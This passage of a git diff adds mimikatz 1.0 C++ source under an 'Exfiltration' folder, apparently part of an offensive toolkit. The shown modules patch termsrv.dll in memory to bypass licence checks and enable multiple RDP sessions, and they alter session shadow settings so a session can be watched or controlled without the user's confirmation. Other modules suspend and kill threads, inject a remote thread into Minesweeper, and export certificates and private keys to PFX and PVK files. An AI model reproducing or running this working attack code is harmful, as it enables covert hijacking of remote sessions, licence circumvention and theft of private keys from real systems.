if(mod_memory::searchMemory(baseAddr, baseAddr + taille, pattern1NT5, &addrPattern, sizeof(pattern1NT5), true, processHandle)) + { + PBYTE addrWinstationListHead = NULL; + + bool resInterm = false; + +#ifdef _M_X64 + long offSet = 0; + resInterm = mod_memory::readMemory(addrPattern + offsetToWin, reinterpret_cast(&offSet), sizeof(long), processHandle); + addrWinstationListHead = addrPattern + offSet; +#elif defined _M_IX86 + resInterm = mod_memory::readMemory(addrPattern + offsetToWin, reinterpret_cast(&addrWinstationListHead), sizeof(PBYTE), processHandle); +#endif + if(resInterm) + { + PBYTE addrWinstation = addrWinstationListHead; + do + { + if(mod_memory::readMemory(addrWinstation, reinterpret_cast(&addrWinstation), sizeof(PBYTE), processHandle) && addrWinstation != addrWinstationListHead) + { + KIWI_TS_SESSION * maSession = new KIWI_TS_SESSION(); + if(reussite = mod_memory::readMemory(addrWinstation, reinterpret_cast(maSession), sizeof(KIWI_TS_SESSION), processHandle)) + { + if((!id) || (maSession->id == *id)) + { + (*outputStream) << L"@Winstation : " << addrWinstation << endl; + + (*outputStream) << L"\t" << maSession->prev << L" <-> " << maSession->next << endl; + (*outputStream) << L"\tid : " << maSession->id << endl; + (*outputStream) << L"\tname : " << maSession->name << endl; + (*outputStream) << L"\tsname : " << maSession->sname << endl; + (*outputStream) << L"\ttype : " << maSession->type << endl; + (*outputStream) << L"\tshadow : " << maSession->shadow << L" (" << shadowToType(maSession->shadow) << L")" << endl; + + if(newState) + { + reussite = mod_memory::writeMemory(addrWinstation + FIELD_OFFSET(KIWI_TS_SESSION, shadow), newState, sizeof(DWORD), processHandle); + (*outputStream) << L"\t => " << *newState << L" (" < * arguments) +{ + BYTE PTRN_WIN5_TestLicence[] = {0x83, 0xf8, 0x02, 0x7f}; + BYTE PATC_WIN5_TestLicence[] = {0x90, 0x90}; + LONG OFFS_WIN5_TestLicence = 3; +#ifdef _M_X64 + BYTE PTRN_WN60_Query__CDefPolicy[] = {0x8b, 0x81, 0x38, 0x06, 0x00, 0x00, 0x39, 0x81, 0x3c, 0x06, 0x00, 0x00, 0x75}; + BYTE PATC_WN60_Query__CDefPolicy[] = {0xc7, 0x81, 0x3c, 0x06, 0x00, 0x00, 0xff, 0xff, 0xff, 0x7f, 0x90, 0x90, 0xeb}; + BYTE PTRN_WN6x_Query__CDefPolicy[] = {0x39, 0x87, 0x3c, 0x06, 0x00, 0x00, 0x0f, 0x84}; + BYTE PATC_WN6x_Query__CDefPolicy[] = {0xc7, 0x87, 0x3c, 0x06, 0x00, 0x00, 0xff, 0xff, 0xff, 0x7f, 0x90, 0x90}; +#elif defined _M_IX86 + BYTE PTRN_WN60_Query__CDefPolicy[] = {0x3b, 0x91, 0x20, 0x03, 0x00, 0x00, 0x5e, 0x0f, 0x84}; + BYTE PATC_WN60_Query__CDefPolicy[] = {0xc7, 0x81, 0x20, 0x03, 0x00, 0x00, 0xff, 0xff, 0xff, 0x7f, 0x5e, 0x90, 0x90}; + BYTE PTRN_WN6x_Query__CDefPolicy[] = {0x3b, 0x86, 0x20, 0x03, 0x00, 0x00, 0x0f, 0x84}; + BYTE PATC_WN6x_Query__CDefPolicy[] = {0xc7, 0x86, 0x20, 0x03, 0x00, 0x00, 0xff, 0xff, 0xff, 0x7f, 0x90, 0x90}; +#endif + LONG OFFS_WIN6_Query__CDefPolicy = 0; + + BYTE * PTRN_Licence = NULL; DWORD SIZE_PTRN_Licence = 0; + BYTE * PATC_Licence = NULL; DWORD SIZE_PATC_Licence = 0; + LONG OFFS_PATC_Licence = 0; + if(mod_system::GLOB_Version.dwMajorVersion < 6) + { + PTRN_Licence = PTRN_WIN5_TestLicence; SIZE_PTRN_Licence = sizeof(PTRN_WIN5_TestLicence); + PATC_Licence = PATC_WIN5_TestLicence; SIZE_PATC_Licence = sizeof(PATC_WIN5_TestLicence); + OFFS_PATC_Licence = OFFS_WIN5_TestLicence; + } + else + { + if(mod_system::GLOB_Version.dwMinorVersion < 1) + { + PTRN_Licence = PTRN_WN60_Query__CDefPolicy; SIZE_PTRN_Licence = sizeof(PTRN_WN60_Query__CDefPolicy); + PATC_Licence = PATC_WN60_Query__CDefPolicy; SIZE_PATC_Licence = sizeof(PATC_WN60_Query__CDefPolicy); + } + else + { + PTRN_Licence = PTRN_WN6x_Query__CDefPolicy; SIZE_PTRN_Licence = sizeof(PTRN_WN6x_Query__CDefPolicy); + PATC_Licence = PATC_WN6x_Query__CDefPolicy; SIZE_PATC_Licence = sizeof(PATC_WN6x_Query__CDefPolicy); + } + OFFS_PATC_Licence = OFFS_WIN6_Query__CDefPolicy; + } + + mod_patch::patchModuleOfService(L"TermService", L"termsrv.dll", PTRN_Licence, SIZE_PTRN_Licence, PATC_Licence, SIZE_PATC_Licence, OFFS_PATC_Licence); + return true; +} + +wstring mod_mimikatz_terminalserver::shadowToType(DWORD shadow) +{ + switch(shadow) + { + case 0: return(L"DISABLE"); + case 1: return(L"INTERACT (confirmation)"); + case 2: return(L"INTERACT_NOASK"); + case 3: return(L"VIEW (confirmation)"); + case 4: return(L"VIEW_NOASK"); + default: return(L"?"); + } +} + +wstring mod_mimikatz_terminalserver::stateToType(DWORD state) +{ + switch(state) + { + case WTSActive: return(L"Active"); + case WTSConnected: return(L"Connected"); + case WTSConnectQuery: return(L"ConnectQuery"); + case WTSShadow: return(L"Shadow"); + case WTSDisconnected: return(L"Disconnected"); + case WTSIdle: return(L"Idle"); + case WTSListen: return(L"Listen"); + case WTSReset: return(L"Reset"); + case WTSDown: return(L"Down"); + case WTSInit: return(L"Init"); + + default: return(L"?"); + } +} diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_terminalserver.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_terminalserver.h new file mode 100644 index 0000000..5af9492 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_terminalserver.h @@ -0,0 +1,55 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include "mod_ts.h" +#include "mod_process.h" +#include "mod_memory.h" +#include "mod_patch.h" +#include + +class mod_mimikatz_terminalserver +{ +public: + static vector getMimiKatzCommands(); + + static bool sessions(vector * arguments); + static bool processes(vector * arguments); + static bool viewshadow(vector * arguments); + static bool modifyshadow(vector * arguments); + static bool multirdp(vector * arguments); + +private: + static bool listAndOrModifySession(DWORD * id = NULL, DWORD * newState = NULL); + static wstring shadowToType(DWORD shadow); + static wstring stateToType(DWORD state); + + enum KIWI_SHADOW_TYPE { + SHADOW_DISABLE = 0, + SHADOW_INTERACT = 1, + SHADOW_INTERACT_NOASK = 2, + SHADOW_VIEW = 3, + SHADOW_VIEW_NOASK = 4 + }; + + typedef struct _KIWI_TS_SESSION { + PBYTE next; + PBYTE prev; + PBYTE unk1; + PBYTE refLock; + PBYTE unk2; + BYTE unk3[8]; + DWORD id; + wchar_t name[32+1]; + BYTE unk4[7434]; + wchar_t sname[32+1]; + wchar_t type[32+1]; + BYTE unk5[1684]; + DWORD shadow; + } KIWI_TS_SESSION, * PKIWI_TS_SESSION; + +}; + diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_thread.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_thread.cpp new file mode 100644 index 0000000..3a8edc0 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_thread.cpp @@ -0,0 +1,138 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_mimikatz_thread.h" +#include "..\global.h" + +vector mod_mimikatz_thread::getMimiKatzCommands() +{ + vector monVector; + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(list, L"list", L"Liste les threads")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(suspend, L"suspend", L"Suspend un thread actif")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(resume, L"resume", L"Reprend un thread suspendu")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(stop, L"stop", L"Arrête un thread")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(quit, L"quit", L"Envoi un message de fermeture à un thread")); + return monVector; +} + +bool mod_mimikatz_thread::list(vector * arguments) +{ + vector * vectorThreads = new vector(); + + DWORD processId = arguments->empty() ? 0 : _wtoi(arguments->front().c_str()); + + if(mod_thread::getList(vectorThreads, arguments->empty() ? NULL : &processId)) + { + (*outputStream) << L"PID\tTID\tprTh" << endl; + for(vector::iterator monThread = vectorThreads->begin(); monThread != vectorThreads->end(); monThread++) + (*outputStream) << + setw(5) << setfill(wchar_t(' ')) << monThread->th32OwnerProcessID << L'\t' << + setw(5) << setfill(wchar_t(' ')) << monThread->th32ThreadID << L'\t' << + setw(5) << setfill(wchar_t(' ')) << monThread->tpBasePri << + endl; + } + else + (*outputStream) << L"mod_thread::getList ; " << mod_system::getWinError() << endl; + + delete vectorThreads; + return true; +} + +bool mod_mimikatz_thread::resume(vector * arguments) +{ + for(vector::iterator monArgThread = arguments->begin(); monArgThread != arguments->end(); monArgThread++) + { + DWORD threadId = _wtoi(monArgThread->c_str()); + + if(threadId != 0) + { + (*outputStream) << L"thread " << setw(5) << setfill(wchar_t(' ')) << threadId << L"\treprise "; + + if(mod_thread::resume(threadId)) + (*outputStream) << L"OK"; + else + (*outputStream) << L"KO - mod_thread::resume ; " << mod_system::getWinError(); + } + else + (*outputStream) << L"argument \'" << *monArgThread << L"\' invalide"; + + (*outputStream) << endl; + } + + return true; +} + +bool mod_mimikatz_thread::suspend(vector * arguments) +{ + for(vector::iterator monArgThread = arguments->begin(); monArgThread != arguments->end(); monArgThread++) + { + DWORD threadId = _wtoi(monArgThread->c_str()); + + if(threadId != 0) + { + (*outputStream) << L"thread " << setw(5) << setfill(wchar_t(' ')) << threadId << L"\tsuspension "; + + if(mod_thread::suspend(threadId)) + (*outputStream) << L"OK"; + else + (*outputStream) << L"KO - mod_thread::suspend ; " << mod_system::getWinError(); + } + else + (*outputStream) << L"argument \'" << *monArgThread << L"\' invalide"; + + (*outputStream) << endl; + } + + return true; +} + +bool mod_mimikatz_thread::stop(vector * arguments) +{ + for(vector::iterator monArgThread = arguments->begin(); monArgThread != arguments->end(); monArgThread++) + { + DWORD threadId = _wtoi(monArgThread->c_str()); + + if(threadId != 0) + { + (*outputStream) << L"thread " << setw(5) << setfill(wchar_t(' ')) << threadId << L"\tarrêt "; + + if(mod_thread::stop(threadId)) + (*outputStream) << L"OK"; + else + (*outputStream) << L"KO - mod_thread::stop ; " << mod_system::getWinError(); + } + else + (*outputStream) << L"argument \'" << *monArgThread << L"\' invalide"; + + (*outputStream) << endl; + } + + return true; +} + + +bool mod_mimikatz_thread::quit(vector * arguments) +{ + for(vector::iterator monArgThread = arguments->begin(); monArgThread != arguments->end(); monArgThread++) + { + DWORD threadId = _wtoi(monArgThread->c_str()); + + if(threadId != 0) + { + (*outputStream) << L"thread " << setw(5) << setfill(wchar_t(' ')) << threadId << L"\tmessage fermeture "; + + if(mod_thread::quit(threadId)) + (*outputStream) << L"OK"; + else + (*outputStream) << L"KO - mod_thread::quit ; " << mod_system::getWinError(); + } + else + (*outputStream) << L"argument \'" << *monArgThread << L"\' invalide"; + + (*outputStream) << endl; + } + + return true; +} diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_thread.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_thread.h new file mode 100644 index 0000000..fd072bf --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_thread.h @@ -0,0 +1,27 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include "mod_system.h" +#include "mod_thread.h" +#include +#include + +class mod_mimikatz_thread +{ +private: +public: + static vector getMimiKatzCommands(); + + static bool list(vector * arguments); + //static bool start(vector * arguments); + static bool suspend(vector * arguments); + static bool resume(vector * arguments); + static bool stop(vector * arguments); + //static bool query(vector * arguments); + + static bool quit(vector * arguments); +}; diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_winmine.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_winmine.cpp new file mode 100644 index 0000000..2f541f2 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_winmine.cpp @@ -0,0 +1,162 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_mimikatz_winmine.h" +#include "..\global.h" + +char DISP_WINMINE[] = " 123456789*x*?F."; + +vector mod_mimikatz_winmine::getMimiKatzCommands() +{ + vector monVector; + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(infos, L"infos", L"Obtient des informations sur le démineur en cours")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(pause, L"pause", L"Met en pause le chronomètre du démineur en cours")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(reprise, L"reprise", L"Reprend le chronomètre du démineur en cours")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(start, L"start", L"Démarre une nouvelle partie")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(cheat, L"cheat", L"Triche au démineur")); + return monVector; +} + +bool mod_mimikatz_winmine::infos(vector * arguments) +{ + return infosOrCheat(arguments, false); +} + +bool mod_mimikatz_winmine::cheat(vector * arguments) +{ + return infosOrCheat(arguments, true); +} + +bool mod_mimikatz_winmine::infosOrCheat(vector * arguments, bool cheat) +{ + structHandleAndAddr * maStruct = new structHandleAndAddr(); + if(giveHandleAndAddr(maStruct)) + { + structMonDemineur monDemineur; + if(mod_memory::readMemory(maStruct->addrMonDemineur, &monDemineur, sizeof(structMonDemineur), maStruct->hWinmine)) + { + (*outputStream) << L"Mines : " << monDemineur.nbMines << endl << + L"Dimension : " << monDemineur.hauteur << L" lignes x " << monDemineur.longueur << L" colonnes" << endl << + L"Champ : " << endl << endl; + + for (DWORD y = 1; y <= monDemineur.hauteur; y++) + { + if(!cheat) + (*outputStream) << L'\t'; + + for(DWORD x = 1; x <= monDemineur.longueur; x++) + { + BYTE laCase = monDemineur.tabMines[y][x]; + + if(!cheat) + (*outputStream) << L' ' << static_cast((laCase & 0x80) ? '*' : DISP_WINMINE[laCase & 0x0f]); + else if(laCase & 0x80) + monDemineur.tabMines[y][x] = 0x4e; + } + if(!cheat) + (*outputStream) << endl; + } + + if(cheat) + { + if(mod_memory::writeMemory(maStruct->addrMonDemineur, &monDemineur, sizeof(structMonDemineur), maStruct->hWinmine)) + (*outputStream) << L"Patché ;)" << endl; + + vector mesHWNDS; + if(mod_windows::getHWNDsFromProcessId(&mesHWNDS, maStruct->pidWinmine)) + { + for(vector::iterator monHWND = mesHWNDS.begin(); monHWND != mesHWNDS.end(); monHWND++) + { + InvalidateRect(monHWND->monHandle, NULL, TRUE); + UpdateWindow(monHWND->monHandle); + } + } + } + } + CloseHandle(maStruct->hWinmine); + } + delete maStruct; + return true; +} + + +bool mod_mimikatz_winmine::pause(vector * arguments) +{ + startThreadAt(FIELD_OFFSET(structHandleAndAddr, addrPause)); + return true; +} + +bool mod_mimikatz_winmine::reprise(vector * arguments) +{ + startThreadAt(FIELD_OFFSET(structHandleAndAddr, addrResume)); + return true; +} + +bool mod_mimikatz_winmine::start(vector * arguments) +{ + startThreadAt(FIELD_OFFSET(structHandleAndAddr, addrStart)); + return true; +} + +bool mod_mimikatz_winmine::startThreadAt(unsigned long structOffset) +{ + bool reussite = false; + structHandleAndAddr * maStruct = new structHandleAndAddr(); + if(giveHandleAndAddr(maStruct)) + { + if (HANDLE hRemoteThread = CreateRemoteThread(maStruct->hWinmine, NULL, 0, *reinterpret_cast(reinterpret_cast(maStruct) + structOffset), NULL, 0, NULL)) + { + reussite = true; + WaitForSingleObject(hRemoteThread, INFINITE); + CloseHandle(hRemoteThread); + } + } + delete maStruct; + return reussite; +} + +bool mod_mimikatz_winmine::giveHandleAndAddr(structHandleAndAddr * monHandleAndAddr) +{ + BYTE patternStartGame[] = {0x6a, 0x04, 0xeb, 0x02, 0x6a, 0x06, 0x5b, 0xa3}; + BYTE patternPause[] = {0x02, 0x75, 0x0a, 0xa1}; + BYTE patternReprise[] = {0x01, 0x74, 0x0a, 0xa1}; + BYTE patternStart[] = {0x53, 0x56, 0x57, 0x33, 0xff, 0x3b, 0x05}; + + RtlZeroMemory(monHandleAndAddr, sizeof(structHandleAndAddr)); + + wstring nomDemineur(L"winmine.exe"); + mod_process::KIWI_PROCESSENTRY32 monDemineur; + if(mod_process::getUniqueForName(&monDemineur, &nomDemineur)) + { + monHandleAndAddr->pidWinmine = monDemineur.th32ProcessID; + mod_process::KIWI_MODULEENTRY32 monModule; + if(mod_process::getUniqueModuleForName(&monModule, NULL, &monDemineur.th32ProcessID)) + { + PBYTE limit = monModule.modBaseAddr + monModule.modBaseSize, ptrTemp = NULL; + if(monHandleAndAddr->hWinmine = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, monDemineur.th32ProcessID)) + { + if(mod_memory::searchMemory(monModule.modBaseAddr, limit, patternStartGame, &ptrTemp, sizeof(patternStartGame), true, monHandleAndAddr->hWinmine)) + if(mod_memory::readMemory(ptrTemp + sizeof(patternStartGame), &ptrTemp, sizeof(ULONG), monHandleAndAddr->hWinmine)) // high bits of ptrTemp are already at 00000000 + monHandleAndAddr->addrMonDemineur = reinterpret_cast(ptrTemp - sizeof(ULONG)); + + if(mod_memory::searchMemory(monModule.modBaseAddr, limit, patternPause, &ptrTemp, sizeof(patternPause), true, monHandleAndAddr->hWinmine)) + monHandleAndAddr->addrPause = reinterpret_cast(ptrTemp - 11); + + if(mod_memory::searchMemory(monModule.modBaseAddr, limit, patternReprise, &ptrTemp, sizeof(patternReprise), true, monHandleAndAddr->hWinmine)) + monHandleAndAddr->addrResume = reinterpret_cast(ptrTemp - 6); + + if(mod_memory::searchMemory(monModule.modBaseAddr, limit, patternStart, &ptrTemp, sizeof(patternStart), true, monHandleAndAddr->hWinmine)) + monHandleAndAddr->addrStart = reinterpret_cast(ptrTemp - 11); + } + } + } + + bool reussite = monHandleAndAddr->hWinmine && monHandleAndAddr->addrMonDemineur && monHandleAndAddr->addrStart && monHandleAndAddr->addrPause && monHandleAndAddr->addrResume; + + if(!reussite && monHandleAndAddr->hWinmine) + CloseHandle(monHandleAndAddr->hWinmine); + + return reussite; +} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_winmine.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_winmine.h new file mode 100644 index 0000000..3870228 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_winmine.h @@ -0,0 +1,45 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include "mod_process.h" +#include "mod_memory.h" +#include "mod_windows.h" +#include + +class mod_mimikatz_winmine +{ +private: + typedef struct structMonDemineur{ + DWORD32 nbMines; + DWORD32 longueur; + DWORD32 hauteur; + DWORD32 alignOffset; + BYTE tabMines[26][32]; + } structMonDemineur; + + typedef struct structHandleAndAddr{ + HANDLE hWinmine; + DWORD pidWinmine; + structMonDemineur * addrMonDemineur; + PTHREAD_START_ROUTINE addrPause; + PTHREAD_START_ROUTINE addrResume; + PTHREAD_START_ROUTINE addrStart; + } structHandleAndAddr; + + static bool giveHandleAndAddr(structHandleAndAddr * monHandleAndAddr); + static bool startThreadAt(unsigned long structOffset); + static bool infosOrCheat(vector * arguments, bool cheat = false); + +public: + static vector getMimiKatzCommands(); + + static bool infos(vector * arguments); + static bool start(vector * arguments); + static bool pause(vector * arguments); + static bool reprise(vector * arguments); + static bool cheat(vector * arguments); +}; diff --git a/Exfiltration/mimikatz-1.0/modules/mod_crypto.cpp b/Exfiltration/mimikatz-1.0/modules/mod_crypto.cpp new file mode 100644 index 0000000..8baffa6 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_crypto.cpp @@ -0,0 +1,240 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_crypto.h" + +bool mod_crypto::getSystemStoreFromString(wstring strSystemStore, DWORD * systemStore) +{ + map mesEmplacements; + mesEmplacements.insert(make_pair(L"CERT_SYSTEM_STORE_CURRENT_USER", CERT_SYSTEM_STORE_CURRENT_USER)); + mesEmplacements.insert(make_pair(L"CERT_SYSTEM_STORE_CURRENT_USER_GROUP_POLICY", CERT_SYSTEM_STORE_CURRENT_USER_GROUP_POLICY)); + mesEmplacements.insert(make_pair(L"CERT_SYSTEM_STORE_LOCAL_MACHINE", CERT_SYSTEM_STORE_LOCAL_MACHINE)); + mesEmplacements.insert(make_pair(L"CERT_SYSTEM_STORE_LOCAL_MACHINE_GROUP_POLICY", CERT_SYSTEM_STORE_LOCAL_MACHINE_GROUP_POLICY)); + mesEmplacements.insert(make_pair(L"CERT_SYSTEM_STORE_LOCAL_MACHINE_ENTERPRISE", CERT_SYSTEM_STORE_LOCAL_MACHINE_ENTERPRISE)); + mesEmplacements.insert(make_pair(L"CERT_SYSTEM_STORE_CURRENT_SERVICE", CERT_SYSTEM_STORE_CURRENT_SERVICE)); + mesEmplacements.insert(make_pair(L"CERT_SYSTEM_STORE_USERS", CERT_SYSTEM_STORE_USERS)); + mesEmplacements.insert(make_pair(L"CERT_SYSTEM_STORE_SERVICES", CERT_SYSTEM_STORE_SERVICES)); + + map::iterator monIterateur = mesEmplacements.find(strSystemStore); + if(monIterateur != mesEmplacements.end()) + { + *systemStore = monIterateur->second; + return true; + } + else return false; +} + +BOOL WINAPI mod_crypto::enumSysCallback(const void *pvSystemStore, DWORD dwFlags, PCERT_SYSTEM_STORE_INFO pStoreInfo, void *pvReserved, void *pvArg) +{ + reinterpret_cast *>(pvArg)->push_back(reinterpret_cast(pvSystemStore)); + return TRUE; +} + +bool mod_crypto::getVectorSystemStores(vector * maSystemStoresvector, DWORD systemStore) +{ + return (CertEnumSystemStore(systemStore, NULL, maSystemStoresvector, enumSysCallback) != 0); +} + +bool mod_crypto::getCertNameFromCertCTX(PCCERT_CONTEXT certCTX, wstring * certName) +{ + bool reussite = false; + wchar_t * monBuffer = NULL; + + DWORD maRecherche[] = {CERT_NAME_FRIENDLY_DISPLAY_TYPE, CERT_NAME_DNS_TYPE, CERT_NAME_EMAIL_TYPE, CERT_NAME_UPN_TYPE, CERT_NAME_URL_TYPE}; + + for(DWORD i = 0; !reussite && (i < (sizeof(maRecherche) / sizeof(DWORD))); i++) + { + DWORD tailleRequise = CertGetNameString(certCTX, maRecherche[i], 0, NULL, NULL, 0); + if(tailleRequise > 1) + { + monBuffer = new wchar_t[tailleRequise]; + reussite = CertGetNameString(certCTX, maRecherche[i], 0, NULL, monBuffer, tailleRequise) > 1; + certName->assign(monBuffer); + delete[] monBuffer; + } + } + return reussite; +} + +bool mod_crypto::getKiwiKeyProvInfo(PCCERT_CONTEXT certCTX, KIWI_KEY_PROV_INFO * keyProvInfo) +{ + bool reussite = false; + DWORD taille = 0; + if(CertGetCertificateContextProperty(certCTX, CERT_KEY_PROV_INFO_PROP_ID, NULL, &taille)) + { + BYTE * monBuffer = new BYTE[taille]; + if(reussite = (CertGetCertificateContextProperty(certCTX, CERT_KEY_PROV_INFO_PROP_ID, monBuffer, &taille) != 0)) + { + CRYPT_KEY_PROV_INFO * mesInfos = reinterpret_cast(monBuffer); + keyProvInfo->pwszProvName.assign(mesInfos->pwszProvName ? mesInfos->pwszProvName : L"(null)"); + keyProvInfo->pwszContainerName.assign(mesInfos->pwszContainerName ? mesInfos->pwszContainerName : L"(null)"); + keyProvInfo->cProvParam = mesInfos->cProvParam; + keyProvInfo->dwFlags = mesInfos->dwFlags; + keyProvInfo->dwKeySpec = mesInfos->dwKeySpec; + keyProvInfo->dwProvType = mesInfos->dwProvType; + } + delete[] monBuffer; + } + return reussite; +} + +bool mod_crypto::CertCTXtoPFX(PCCERT_CONTEXT certCTX, wstring pfxFile, wstring password) +{ + bool retour = false; + + HCERTSTORE hTempStore = CertOpenStore(CERT_STORE_PROV_MEMORY, 0, NULL, CERT_STORE_CREATE_NEW_FLAG, NULL); + PCCERT_CONTEXT pCertContextCopy = NULL; + + if(CertAddCertificateContextToStore(hTempStore, certCTX, CERT_STORE_ADD_NEW, &pCertContextCopy)) + { + CRYPT_DATA_BLOB bDataBlob = {0, NULL}; + if(PFXExportCertStoreEx(hTempStore, &bDataBlob, password.c_str(), NULL, EXPORT_PRIVATE_KEYS | REPORT_NOT_ABLE_TO_EXPORT_PRIVATE_KEY)) + { + bDataBlob.pbData = new BYTE[bDataBlob.cbData]; + if(PFXExportCertStoreEx(hTempStore, &bDataBlob, password.c_str(), NULL, EXPORT_PRIVATE_KEYS | REPORT_NOT_ABLE_TO_EXPORT_PRIVATE_KEY)) + { + HANDLE hFile = CreateFile(pfxFile.c_str(), GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL); + if(hFile && hFile != INVALID_HANDLE_VALUE) + { + DWORD dwBytesWritten; + if(WriteFile(hFile, bDataBlob.pbData, bDataBlob.cbData, &dwBytesWritten, NULL) && (bDataBlob.cbData == dwBytesWritten)) + { + retour = FlushFileBuffers(hFile) != 0; + } + CloseHandle(hFile); + } + } + delete[] bDataBlob.pbData; + } + CertFreeCertificateContext(pCertContextCopy); + } + CertCloseStore(hTempStore, CERT_CLOSE_STORE_FORCE_FLAG); + + return retour; +} + +bool mod_crypto::CertCTXtoDER(PCCERT_CONTEXT certCTX, wstring DERFile) +{ + bool retour = false; + + HANDLE hFile = CreateFile(DERFile.c_str(), GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL); + if(hFile && hFile != INVALID_HANDLE_VALUE) + { + DWORD dwBytesWritten; + if(WriteFile(hFile, certCTX->pbCertEncoded, certCTX->cbCertEncoded, &dwBytesWritten, NULL) && certCTX->cbCertEncoded == dwBytesWritten) + { + retour = FlushFileBuffers(hFile) != 0; + } + CloseHandle(hFile); + } + return retour; +} + +wstring mod_crypto::KeyTypeToString(DWORD keyType) +{ + wostringstream keyTypeStr; + switch (keyType) + { + case AT_KEYEXCHANGE: + keyTypeStr << L"AT_KEYEXCHANGE"; + break; + case AT_SIGNATURE: + keyTypeStr << L"AT_SIGNATURE"; + break; + default: + keyTypeStr << L"? (" << hex << keyType << L")"; + } + return keyTypeStr.str(); +} + + +bool mod_crypto::PrivateKeyBlobToPVK(BYTE * monExport, DWORD tailleExport, wstring pvkFile, DWORD keySpec) +{ + bool retour = false; + FILE_HDR monHeader = {PVK_MAGIC, PVK_FILE_VERSION_0, keySpec, PVK_NO_ENCRYPT, 0, tailleExport}; + + HANDLE hFile = CreateFile(pvkFile.c_str(), GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL); + if(hFile && hFile != INVALID_HANDLE_VALUE) + { + DWORD dwBytesWritten; + if(WriteFile(hFile, &monHeader, sizeof(monHeader), &dwBytesWritten, NULL) && (sizeof(monHeader) == dwBytesWritten)) + { + if(WriteFile(hFile, monExport, tailleExport, &dwBytesWritten, NULL) && (tailleExport == dwBytesWritten)) + { + retour = FlushFileBuffers(hFile) != 0; + } + } + CloseHandle(hFile); + } + + return retour; +} + +bool mod_crypto::genericDecrypt(BYTE * data, SIZE_T dataSize, const BYTE * key, SIZE_T keySize, ALG_ID algorithme, BYTE * destBuffer, SIZE_T destBufferSize) +{ + bool retour = false; + HCRYPTPROV hCryptProv = NULL; + HCRYPTKEY hKey = NULL; + PBYTE buffer = data; + DWORD dwWorkingBufferLength = dataSize; + + if(destBuffer && destBufferSize >= dataSize) + { + RtlCopyMemory(destBuffer, data, dataSize); + buffer = destBuffer; + } + + if((algorithme == CALG_RC4) && (keySize > 16)) + { + fullRC4(buffer, dataSize, key, keySize); + retour = true; + } + else + { + if(CryptAcquireContext(&hCryptProv, NULL, NULL, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT)) + { + GENERICKEY_BLOB myKeyHead = {{PLAINTEXTKEYBLOB, CUR_BLOB_VERSION, 0, algorithme}, keySize}; + BYTE * myKey = new BYTE[sizeof(GENERICKEY_BLOB) + keySize]; + RtlCopyMemory(myKey, &myKeyHead, sizeof(GENERICKEY_BLOB)); + RtlCopyMemory(myKey + sizeof(GENERICKEY_BLOB), key, keySize); + + if(CryptImportKey(hCryptProv, myKey, sizeof(GENERICKEY_BLOB) + keySize, 0, CRYPT_EXPORTABLE, &hKey)) + { + if(CryptDecrypt(hKey, NULL, TRUE, 0, buffer, &dwWorkingBufferLength) || ((algorithme == CALG_DES) && (GetLastError() == NTE_BAD_DATA))) // évite les erreurs de parités http://support.microsoft.com/kb/331367/ + retour = (dwWorkingBufferLength == 